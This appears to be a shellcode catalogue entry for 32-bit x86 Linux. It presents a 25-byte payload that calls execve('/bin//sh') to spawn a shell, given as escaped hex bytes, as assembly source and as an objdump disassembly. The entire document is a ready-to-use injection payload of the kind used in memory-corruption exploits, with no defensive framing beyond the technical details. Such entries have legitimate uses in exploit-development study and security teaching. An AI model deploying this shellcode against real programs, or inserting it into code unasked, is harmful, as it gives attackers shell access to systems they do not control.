execve("/bin//sh", ["/bin//sh"], NULL) - Linux elf32-i386

Shellcode – Details
System call(s):execve(“/bin//sh”, [“/bin//sh”], NULL)
Size (char):25
Shellcode:\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80
Architecture
CPU maker:Intel
Architecture:x86
OS details:Linux
CPU details:i386
------ .globl _start   _start: xor     %eax,       %eax         xor     %edx,       %edx           movb    $11,        %al           push    %edx         push    $0x68732f6e         push    $0x69622f2f         mov     %esp,       %ebx           push    %edx         push    %ebx         mov     %esp,       %ecx           int     $0x80
file format elf32-i386
 
Disassembly of section .text:
 
08048074 <_start>:
8048074:    31 c0                    xor    %eax,%eax
8048076:    31 d2                    xor    %edx,%edx
8048078:    b0 0b                    mov    $0xb,%al
804807a:    52                       push   %edx
804807b:    68 6e 2f 73 68           push   $0x68732f6e
8048080:    68 2f 2f 62 69           push   $0x69622f2f
8048085:    89 e3                    mov    %esp,%ebx
8048087:    52                       push   %edx
8048088:    53                       push   %ebx
8048089:    89 e1                    mov    %esp,%ecx
804808b:    cd 80                    int    $0x80

Related terms: